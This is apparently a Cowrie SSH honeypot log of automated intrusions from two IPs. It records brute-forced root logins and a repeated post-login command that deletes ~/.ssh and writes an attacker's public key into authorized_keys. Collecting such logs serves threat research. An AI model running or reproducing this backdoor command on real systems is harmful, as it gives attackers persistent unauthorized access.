{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:44.721493Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Wj@123456","message":"login attempt [root/Wj@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.080429Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.285112Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.288233Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.291868Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.374533Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.568355Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.571533Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.656394Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.659945Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.121.5.132","src_port":50308,"dst_ip":"10.17.0.5","dst_port":22,"session":"78174796661d","protocol":"ssh","message":"New connection: 213.121.5.132:50308 (10.17.0.5:22) [session: 78174796661d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.734360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.738719Z","src_ip":"213.121.5.132","session":"78174796661d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:45.819018Z","src_ip":"213.121.5.132","session":"78174796661d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:46.170207Z","src_ip":"213.121.5.132","session":"78174796661d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:47.255649Z","src_ip":"213.121.5.132","session":"78174796661d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.121.5.132","src_port":50314,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ca12b9db445","protocol":"ssh","message":"New connection: 213.121.5.132:50314 (10.17.0.5:22) [session: 8ca12b9db445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:47.335468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:47.339765Z","src_ip":"213.121.5.132","session":"8ca12b9db445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:47.426039Z","src_ip":"213.121.5.132","session":"8ca12b9db445","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:47.784410Z","src_ip":"213.121.5.132","session":"8ca12b9db445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:47.867343Z","src_ip":"213.121.5.132","session":"8ca12b9db445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:41:47.872493Z","src_ip":"213.121.5.132","session":"58d4238ad600","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.169.128.70","src_port":35554,"dst_ip":"10.17.0.5","dst_port":22,"session":"03459cc1655a","protocol":"ssh","message":"New connection: 45.169.128.70:35554 (10.17.0.5:22) [session: 03459cc1655a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:42:59.323982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:42:59.328809Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:42:59.466708Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123element098","message":"login attempt [root/123element098] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:00.051532Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:00.467739Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:00.471054Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:00.474984Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:00.616575Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:00.924586Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:00.927605Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:01.069788Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:01.073929Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.169.128.70","src_port":35570,"dst_ip":"10.17.0.5","dst_port":22,"session":"55a3a029991b","protocol":"ssh","message":"New connection: 45.169.128.70:35570 (10.17.0.5:22) [session: 55a3a029991b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:01.204422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:01.210602Z","src_ip":"45.169.128.70","session":"55a3a029991b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:01.355161Z","src_ip":"45.169.128.70","session":"55a3a029991b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:01.938373Z","src_ip":"45.169.128.70","session":"55a3a029991b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:03.079031Z","src_ip":"45.169.128.70","session":"55a3a029991b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.169.128.70","src_port":50714,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee1fca4e600d","protocol":"ssh","message":"New connection: 45.169.128.70:50714 (10.17.0.5:22) [session: ee1fca4e600d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:03.213321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:03.217456Z","src_ip":"45.169.128.70","session":"ee1fca4e600d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:03.357687Z","src_ip":"45.169.128.70","session":"ee1fca4e600d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:03.941941Z","src_ip":"45.169.128.70","session":"ee1fca4e600d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T02:43:04.083220Z","src_ip":"45.169.128.70","session":"03459cc1655a","protocol":"ssh"}
